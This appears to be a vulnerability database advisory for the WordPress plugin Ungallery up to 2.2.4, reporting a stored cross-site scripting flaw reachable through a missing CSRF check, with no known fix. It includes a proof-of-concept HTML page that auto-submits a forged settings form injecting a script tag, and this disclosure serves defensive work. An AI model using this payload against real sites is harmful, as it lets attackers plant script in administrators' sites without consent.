WordPress Plugin Vulnerabilities

Ungallery <= 2.2.4 - Stored XSS via CSRF

Description

The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Proof of Concept

Make a logged in admin open an HTML file containing the following:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=ungallerysettings" method="POST"> 
        <input type="hidden" name="mt_submit_hidden" value="Y">
        <input type="hidden" name="images_path" value="/var/www/html/wp-content/uploads/2024/01/*">
        <input type="hidden" name="URI" value="<? print get_bloginfo('url'); ?>/" >
        <input type="hidden" name="gallery" value="ungallery">
        <input type="hidden" name="version" value="2.2.4">
        <input type="hidden" name="gallery2" value='"><script>alert(2)</script>'>
        <input type="hidden" name="cache_dir" value="/var/www/html/wp-content/cache/">
        <button type="submit">Save Changes</button>
    </form>
</body>
```

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-04-18 (about 2 months ago)
Added
2024-04-18 (about 2 months ago)
Last Updated
2024-04-18 (about 2 months ago)

Other